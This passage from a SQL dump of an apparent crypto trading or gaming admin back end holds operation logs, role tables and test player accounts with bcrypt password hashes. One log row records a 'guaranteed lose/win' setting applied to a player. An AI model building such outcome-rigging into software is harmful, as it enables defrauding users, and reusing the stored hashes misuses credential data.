18:11:22\",\"host\":\"192.168.10.175\",\"isTest\":0,\"level\":0,\"loginName\":\"test000001\",\"loginPassword\":\"$2a$10$lyIBzYb7dI4n0p9/x85G6.vwi6t0HVVTzaCuxWKs6o8Lu1919D6FK\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-13 18:11:22\",\"userId\":325,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 18:11:23', 335); +INSERT INTO `sys_oper_log` VALUES (29, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:13:39', 12); +INSERT INTO `sys_oper_log` VALUES (30, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.10.175', '内网IP', '{\"activeCode\":\"GVG8MZ\",\"createBy\":\"admin\",\"createTime\":\"2024-02-13 18:13:58\",\"host\":\"192.168.10.175\",\"isTest\":0,\"level\":0,\"loginName\":\"test000002\",\"loginPassword\":\"$2a$10$E5JzuCJVMsafFYJjmpNgoegwpxkJyCxiUtWpRRqExwZSbcxSgJbrW\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-13 18:13:58\",\"userId\":326,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 18:13:58', 299); +INSERT INTO `sys_oper_log` VALUES (31, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:16:27', 10); +INSERT INTO `sys_oper_log` VALUES (32, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:18:56', 10); +INSERT INTO `sys_oper_log` VALUES (33, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:22:32', 15); +INSERT INTO `sys_oper_log` VALUES (34, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:23:06', 16); +INSERT INTO `sys_oper_log` VALUES (35, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:26:31', 10); +INSERT INTO `sys_oper_log` VALUES (36, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:27:04', 9); +INSERT INTO `sys_oper_log` VALUES (37, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 18:27:50', 11); +INSERT INTO `sys_oper_log` VALUES (38, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.10.175', '内网IP', '{\"activeCode\":\"A2G14F\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-13 18:27:59\",\"host\":\"192.168.10.175\",\"isTest\":0,\"level\":0,\"loginName\":\"test000003\",\"loginPassword\":\"$2a$10$hN5DyYQHmqeyS5nmLc2VO.UjG.BGwsNAJ7HeoXfpq.OkKcRyesLwS\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-13 18:27:59\",\"userId\":327,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 18:27:59', 330); +INSERT INTO `sys_oper_log` VALUES (39, '包输包赢设置', 2, 'com.ruoyi.web.controller.bussiness.TAppUserController.buff()', 'POST', 1, 'admin', NULL, '/bussiness/user/buff', '192.168.10.175', '内网IP', '{\"buff\":0,\"params\":{},\"updateTime\":\"2024-02-13 18:28:07\",\"userId\":326}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 18:28:07', 96); +INSERT INTO `sys_oper_log` VALUES (40, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.10.175', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 22:12:43', 38); +INSERT INTO `sys_oper_log` VALUES (41, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.10.175', '内网IP', '{\"activeCode\":\"SQ6P2T\",\"binanceEmail\":\"\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-13 22:13:01\",\"host\":\"192.168.10.175\",\"isTest\":0,\"level\":0,\"loginName\":\"test000004\",\"loginPassword\":\"$2a$10$2AKXmoQWGP80i17esaQibugELV78FuWfr6xm3GJyWojvH.GzFCNEy\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-13 22:13:01\",\"userId\":328,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 22:13:12', 10915); +INSERT INTO `sys_oper_log` VALUES (42, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 23:50:41', 21); +INSERT INTO `sys_oper_log` VALUES (43, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-13 23:53:30', 9); +INSERT INTO `sys_oper_log` VALUES (44, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"STCH9R\",\"createBy\":\"admin\",\"createTime\":\"2024-02-13 23:53:45\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test0000001\",\"loginPassword\":\"$2a$10$c/jUuMhq0FotPClFXUr8h.d10ZjrMFyhpPlxidWYXBvM/o0VI1Xm6\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-13 23:53:45\",\"userId\":329,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-13 23:53:45', 437); +INSERT INTO `sys_oper_log` VALUES (45, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:11:59', 18); +INSERT INTO `sys_oper_log` VALUES (46, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"3Y01XW\",\"binanceEmail\":\"user100000330_virtual@4mjo9nefnoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:12:19\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test000005\",\"loginPassword\":\"$2a$10$6c9rXIouLmkcAZmq1.Oh9esLHx1d0OO0OU41eeUPw.rBBF8IKvP9.\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:12:19\",\"userId\":330,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:12:20', 1196); +INSERT INTO `sys_oper_log` VALUES (47, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/330', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:30', 70); +INSERT INTO `sys_oper_log` VALUES (48, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/329', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:37', 23); +INSERT INTO `sys_oper_log` VALUES (49, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/328', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:39', 23); +INSERT INTO `sys_oper_log` VALUES (50, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/327', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:41', 22); +INSERT INTO `sys_oper_log` VALUES (51, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/326', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:43', 21); +INSERT INTO `sys_oper_log` VALUES (52, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:14:45', 16); +INSERT INTO `sys_oper_log` VALUES (53, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"13MFIB\",\"binanceEmail\":\"user100000331_virtual@ybcznb0xnoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:14:57\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test01\",\"loginPassword\":\"$2a$10$V1fKAgNNKT/1Aw9U78mGmeBqSW6A8v7FKl2DBxD1ZOg3um4FsryQG\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:14:57\",\"userId\":331,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:14:58', 1097); +INSERT INTO `sys_oper_log` VALUES (54, '玩家用户', 3, 'com.ruoyi.web.controller.bussiness.TAppUserController.remove()', 'DELETE', 1, 'admin', NULL, '/bussiness/user/331', '192.168.1.11', '内网IP', '{}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:17:10', 73); +INSERT INTO `sys_oper_log` VALUES (55, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:17:11', 16); +INSERT INTO `sys_oper_log` VALUES (56, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"RM3SST\",\"binanceEmail\":\"user100000332_virtual@d99op7fqnoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:17:20\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test02\",\"loginPassword\":\"$2a$10$eJQV00TT6SbqRX.TRsSB2.ZbuM734o9VaA96AezmItEIKns.aI3DC\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:17:20\",\"userId\":332,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:17:53', 32692); +INSERT INTO `sys_oper_log` VALUES (57, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:34:01', 22); +INSERT INTO `sys_oper_log` VALUES (58, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:34:45', 8); +INSERT INTO `sys_oper_log` VALUES (59, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:34:54', 9); +INSERT INTO `sys_oper_log` VALUES (60, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:36:17', 10); +INSERT INTO `sys_oper_log` VALUES (61, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"8BLEC6\",\"binanceEmail\":\"user100000333_virtual@devgszspnoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:36:26\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test03\",\"loginPassword\":\"$2a$10$WxmCW9IDHCAa/3gjhmuTNedV.TAShUeOrlgPn9foaYjM78CUmJJNa\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:36:26\",\"userId\":333,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:36:27', 979); +INSERT INTO `sys_oper_log` VALUES (62, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:41:31', 22); +INSERT INTO `sys_oper_log` VALUES (63, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"PMTR8I\",\"binanceEmail\":\"user100000334_virtual@zuv6vys7noemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:41:40\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test04\",\"loginPassword\":\"$2a$10$WVs9RoRbNMqzPDvZcALsPOzPdgdPg8zEq2ez6TmvP8MQg/V5PDfre\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:41:40\",\"userId\":334,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:41:41', 1278); +INSERT INTO `sys_oper_log` VALUES (64, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 00:44:32', 23); +INSERT INTO `sys_oper_log` VALUES (65, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"YQQ9K4\",\"binanceEmail\":\"user100000335_virtual@glbtmubhnoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 00:44:40\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test05\",\"loginPassword\":\"$2a$10$1par4nN4btxcryY1Gv4v0Oh4e3UPFdja1hciwYTUtfTe7pOMnqtr2\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 00:44:40\",\"userId\":335,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 00:45:15', 34773); +INSERT INTO `sys_oper_log` VALUES (66, '查询所有的代理用户', 2, 'com.ruoyi.web.controller.system.SysUserController.selectAllAgentUser()', 'GET', 1, 'admin', NULL, '/system/user/selectAllAgentUser', '192.168.1.11', '内网IP', '{}', '{\"code\":200,\"msg\":\"查询成功\",\"rows\":[],\"total\":0}', 0, NULL, '2024-02-14 18:14:08', 19); +INSERT INTO `sys_oper_log` VALUES (67, '玩家用户', 1, 'com.ruoyi.web.controller.bussiness.TAppUserController.add()', 'POST', 1, 'admin', NULL, '/bussiness/user', '192.168.1.11', '内网IP', '{\"activeCode\":\"1T90BW\",\"binanceEmail\":\"100000336_virtual@oh30o2aunoemail.com\",\"buff\":0,\"createBy\":\"admin\",\"createTime\":\"2024-02-14 18:15:10\",\"host\":\"192.168.1.11\",\"isTest\":0,\"level\":0,\"loginName\":\"test06\",\"loginPassword\":\"$2a$10$MMU0y0Rsz.fDlHe5IPmZuuDdRErKBegKE./XHCra.gYefEiiIHy6u\",\"params\":{},\"rechargeAmont\":0,\"status\":0,\"totleAmont\":0,\"updateBy\":\"admin\",\"updateTime\":\"2024-02-14 18:15:10\",\"userId\":336,\"walletType\":\"ETH\"}', '{\"msg\":\"操作成功\",\"code\":200}', 0, NULL, '2024-02-14 18:15:12', 2031); + +-- ---------------------------- +-- Table structure for sys_post +-- ---------------------------- +DROP TABLE IF EXISTS `sys_post`; +CREATE TABLE `sys_post` ( + `post_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '岗位ID', + `post_code` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '岗位编码', + `post_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '岗位名称', + `post_sort` int(0) NOT NULL COMMENT '显示顺序', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '状态(0正常 1停用)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`post_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 5 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '岗位信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for sys_role +-- ---------------------------- +DROP TABLE IF EXISTS `sys_role`; +CREATE TABLE `sys_role` ( + `role_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '角色ID', + `role_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '角色名称', + `role_key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '角色权限字符串', + `role_sort` int(0) NOT NULL COMMENT '显示顺序', + `data_scope` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '数据范围(1:全部数据权限 2:自定数据权限 3:本部门数据权限 4:本部门及以下数据权限)', + `menu_check_strictly` tinyint(1) NULL DEFAULT 1 COMMENT '菜单树选择项是否关联显示', + `dept_check_strictly` tinyint(1) NULL DEFAULT 1 COMMENT '部门树选择项是否关联显示', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '角色状态(0正常 1停用)', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '删除标志(0代表存在 2代表删除)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`role_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 103 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '角色信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_role +-- ---------------------------- +INSERT INTO `sys_role` VALUES (1, '超级管理员', 'admin', 1, '1', 1, 1, '0', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '超级管理员'); +INSERT INTO `sys_role` VALUES (2, '管理员', 'common', 2, '2', 1, 1, '0', '0', 'admin', '2023-06-24 15:31:37', 'admin', '2023-08-22 20:34:10', '普通角色'); +INSERT INTO `sys_role` VALUES (100, '代理', 'agent', 3, '1', 1, 1, '0', '0', 'admin', '2023-08-22 19:21:02', 'admin', '2023-08-22 20:34:16', NULL); +INSERT INTO `sys_role` VALUES (102, '财务', 'money', 4, '1', 1, 1, '0', '0', 'admin', '2023-08-25 01:35:44', '', NULL, NULL); + +-- ---------------------------- +-- Table structure for sys_role_dept +-- ---------------------------- +DROP TABLE IF EXISTS `sys_role_dept`; +CREATE TABLE `sys_role_dept` ( + `role_id` bigint(0) NOT NULL COMMENT '角色ID', + `dept_id` bigint(0) NOT NULL COMMENT '部门ID', + PRIMARY KEY (`role_id`, `dept_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '角色和部门关联表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_role_dept +-- ---------------------------- +INSERT INTO `sys_role_dept` VALUES (2, 100); +INSERT INTO `sys_role_dept` VALUES (2, 105); + +-- ---------------------------- +-- Table structure for sys_role_menu +-- ---------------------------- +DROP TABLE IF EXISTS `sys_role_menu`; +CREATE TABLE `sys_role_menu` ( + `role_id` bigint(0) NOT NULL COMMENT '角色ID', + `menu_id` bigint(0) NOT NULL COMMENT '菜单ID', + PRIMARY KEY (`role_id`, `menu_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '角色和菜单关联表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_role_menu +-- ---------------------------- +INSERT INTO `sys_role_menu` VALUES (2, 1); +INSERT INTO `sys_role_menu` VALUES (2, 2); +INSERT INTO `sys_role_menu` VALUES (2, 3); +INSERT INTO `sys_role_menu` VALUES (2, 100); +INSERT INTO `sys_role_menu` VALUES (2, 101); +INSERT INTO `sys_role_menu` VALUES (2, 102); +INSERT INTO `sys_role_menu` VALUES (2, 103); +INSERT INTO `sys_role_menu` VALUES (2, 104); +INSERT INTO `sys_role_menu` VALUES (2, 105); +INSERT INTO `sys_role_menu` VALUES (2, 106); +INSERT INTO `sys_role_menu` VALUES (2, 107); +INSERT INTO `sys_role_menu` VALUES (2, 108); +INSERT INTO `sys_role_menu` VALUES (2, 109); +INSERT INTO `sys_role_menu` VALUES (2, 110); +INSERT INTO `sys_role_menu` VALUES (2, 111); +INSERT INTO `sys_role_menu` VALUES (2, 112); +INSERT INTO `sys_role_menu` VALUES (2, 113); +INSERT INTO `sys_role_menu` VALUES (2, 114); +INSERT INTO `sys_role_menu` VALUES (2, 115); +INSERT INTO `sys_role_menu` VALUES (2, 116); +INSERT INTO `sys_role_menu` VALUES (2, 117); +INSERT INTO `sys_role_menu` VALUES (2, 500); +INSERT INTO `sys_role_menu` VALUES (2, 501); +INSERT INTO `sys_role_menu` VALUES (2, 1000); +INSERT INTO `sys_role_menu` VALUES (2, 1001); +INSERT INTO `sys_role_menu` VALUES (2, 1002); +INSERT INTO `sys_role_menu` VALUES (2, 1003); +INSERT INTO `sys_role_menu` VALUES (2, 1004); +INSERT INTO `sys_role_menu` VALUES (2, 1005); +INSERT INTO `sys_role_menu` VALUES (2, 1006); +INSERT INTO `sys_role_menu` VALUES (2, 1007); +INSERT INTO `sys_role_menu` VALUES (2, 1008); +INSERT INTO `sys_role_menu` VALUES (2, 1009); +INSERT INTO `sys_role_menu` VALUES (2, 1010); +INSERT INTO `sys_role_menu` VALUES (2, 1011); +INSERT INTO `sys_role_menu` VALUES (2, 1012); +INSERT INTO `sys_role_menu` VALUES (2, 1013); +INSERT INTO `sys_role_menu` VALUES (2, 1014); +INSERT INTO `sys_role_menu` VALUES (2, 1015); +INSERT INTO `sys_role_menu` VALUES (2, 1016); +INSERT INTO `sys_role_menu` VALUES (2, 1017); +INSERT INTO `sys_role_menu` VALUES (2, 1018); +INSERT INTO `sys_role_menu` VALUES (2, 1019); +INSERT INTO `sys_role_menu` VALUES (2, 1020); +INSERT INTO `sys_role_menu` VALUES (2, 1021); +INSERT INTO `sys_role_menu` VALUES (2, 1022); +INSERT INTO `sys_role_menu` VALUES (2, 1023); +INSERT INTO `sys_role_menu` VALUES (2, 1024); +INSERT INTO `sys_role_menu` VALUES (2, 1025); +INSERT INTO `sys_role_menu` VALUES (2, 1026); +INSERT INTO `sys_role_menu` VALUES (2, 1027); +INSERT INTO `sys_role_menu` VALUES (2, 1028); +INSERT INTO `sys_role_menu` VALUES (2, 1029); +INSERT INTO `sys_role_menu` VALUES (2, 1030); +INSERT INTO `sys_role_menu` VALUES (2, 1031); +INSERT INTO `sys_role_menu` VALUES (2, 1032); +INSERT INTO `sys_role_menu` VALUES (2, 1033); +INSERT INTO `sys_role_menu` VALUES (2, 1034); +INSERT INTO `sys_role_menu` VALUES (2, 1035); +INSERT INTO `sys_role_menu` VALUES (2, 1036); +INSERT INTO `sys_role_menu` VALUES (2, 1037); +INSERT INTO `sys_role_menu` VALUES (2, 1038); +INSERT INTO `sys_role_menu` VALUES (2, 1039); +INSERT INTO `sys_role_menu` VALUES (2, 1040); +INSERT INTO `sys_role_menu` VALUES (2, 1041); +INSERT INTO `sys_role_menu` VALUES (2, 1042); +INSERT INTO `sys_role_menu` VALUES (2, 1043); +INSERT INTO `sys_role_menu` VALUES 